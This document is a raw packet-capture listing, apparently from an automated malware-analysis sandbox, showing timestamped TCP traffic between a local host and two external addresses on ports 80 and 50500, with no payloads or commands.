May 22, 2024 20:06:33.234740019 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.234793901 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.234807968 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.234904051 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.235285997 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.235340118 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.235352993 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.235404015 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.235416889 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.235450983 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.235476971 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.235521078 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.235564947 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.235589027 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.235620022 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.235649109 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.235692978 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.235748053 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.236062050 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.236108065 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.236149073 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.236191034 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.266829967 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.267277956 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.267309904 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.267437935 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.267453909 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.267468929 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.267488956 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.267504930 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.267518044 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.267541885 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.267580032 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.272718906 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.273199081 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.273241043 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.273283958 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.273305893 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.273351908 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.273484945 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.273505926 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.273539066 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.273571968 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.273691893 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.273713112 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.273731947 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.273760080 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.273798943 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.274111986 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.274132967 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.274151087 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.274171114 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.274179935 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.274197102 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.274214029 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.274224043 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.274239063 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.274250984 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.274271011 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.274280071 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.274295092 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.274307966 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.274316072 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.274347067 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.274781942 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.274831057 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.275007010 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.275024891 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.275047064 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.275055885 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.275074005 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.275079966 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.275099039 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.275106907 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.275120974 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.275132895 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.275142908 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.275158882 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.275171995 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.275186062 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.275193930 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.275209904 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.275224924 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.275233030 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.275248051 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.275270939 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.275827885 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.275849104 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.275867939 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.275888920 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.275899887 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.275933027 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.277472973 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.277491093 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.277520895 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.277554989 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.318308115 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.318398952 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.318449020 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.318512917 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.318567991 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.318620920 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.318645000 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.318645000 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.318645000 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.318681955 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.318681955 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.318737030 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.318785906 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.318835020 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.318959951 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.319010019 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.319061041 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.319075108 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.319107056 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.319135904 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.319180965 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.319230080 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.319433928 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.319479942 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.319540977 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.319590092 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.319638968 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.319705963 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.319751978 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.319799900 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.319817066 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.320065975 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.320117950 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.320286036 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.320333004 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.320349932 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.320394039 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.320441961 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.320456982 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.320502043 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.320553064 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.320566893 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.320600033 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.320627928 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.320672989 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.320720911 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.321192980 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.321238041 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.321288109 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.321301937 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.321335077 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.321362972 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.321407080 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.321454048 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.321470022 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.321515083 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.321562052 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.321578026 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.321624041 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.321964979 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.322011948 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.322062969 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.326162100 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.326212883 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.326293945 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:35.987256050 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:35.994154930 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:36.091406107 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:36.096843958 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:36.169524908 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:36.174573898 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.075835943 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.086565971 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.086581945 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.086641073 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:37.086707115 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.086725950 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.086743116 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:37.086756945 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.086786032 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.086796045 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:37.087188959 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.087260962 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.087296963 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:37.087392092 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.087435007 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:37.087706089 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.087795973 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.087934971 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.087958097 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.087973118 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:37.087986946 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.088002920 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:37.088623047 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.088901043 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.088948011 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:37.091499090 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.091593027 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:37.182804108 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.182864904 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.182903051 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.182915926 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:37.183178902 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.183223009 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:37.187932014 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.187954903 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.187994957 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:37.188285112 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.205260992 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.205281973 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.205305099 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:37.205408096 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.205424070 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.205455065 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.205461979 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:37.205493927 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:37.213985920 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.214006901 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.214081049 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:37.214123964 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.214139938 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.214180946 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:37.220940113 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.220963955 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.220999002 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:37.221080065 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.221103907 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.221123934 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.221139908 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:37.226891994 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.226927996 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.226962090 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:37.227004051 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.227025032 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.227041960 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:37.278692007 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:37.278994083 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.279040098 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.279083014 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:37.279182911 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.279206038 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.279242992 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:37.284013033 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.284030914 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.284058094 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.284071922 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:37.284099102 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.284121990 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.284137011 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:37.288991928 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.289012909 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.289040089 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:37.289127111 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.289143085 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.289170027 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:37.293796062 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.293817043 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.293844938 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:37.293926954 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.293946981 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.293963909 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:37.293971062 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.294014931 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:37.298764944 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.298793077 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.298815012 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.298834085 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:37.298846006 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.298866034 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.298887968 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:37.298901081 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.298923016 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.298937082 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:37.299515963 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.299560070 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.299567938 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:37.299591064 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.299618006 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.299637079 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:37.299649954 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.299671888 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.299685955 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:37.299694061 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.299735069 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:37.304004908 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.304029942 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.304073095 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:37.304248095 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.304270983 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.304311037 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:37.304934025 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.309076071 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.309107065 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.309139967 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:37.309175968 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.309180975 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.309212923 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:37.314371109 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.314415932 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:37.374567032 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.375490904 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.375534058 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:37.377090931 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.378912926 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.378940105 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.378962994 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:37.378974915 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.379014969 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:37.382567883 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.382596016 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.382615089 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.382637978 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:37.386049986 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.386080980 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.386101961 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:37.389610052 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.389636040 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.389656067 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:37.392504930 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.392534018 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.392568111 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:37.395329952 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.395353079 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.395375013 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.395382881 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:37.395421982 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:37.398186922 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.398206949 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.398276091 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:37.401118040 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.401139975 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.401180029 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:37.403661966 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.403677940 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.403749943 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:37.406171083 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.406191111 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.406213045 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.406234980 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:37.408750057 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.408771038 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.408796072 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:37.411293983 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.411334038 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.411348104 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:37.413548946 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.413572073 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:37.413616896 CEST	49705	50500	192.168.2.6	185.172.128.136
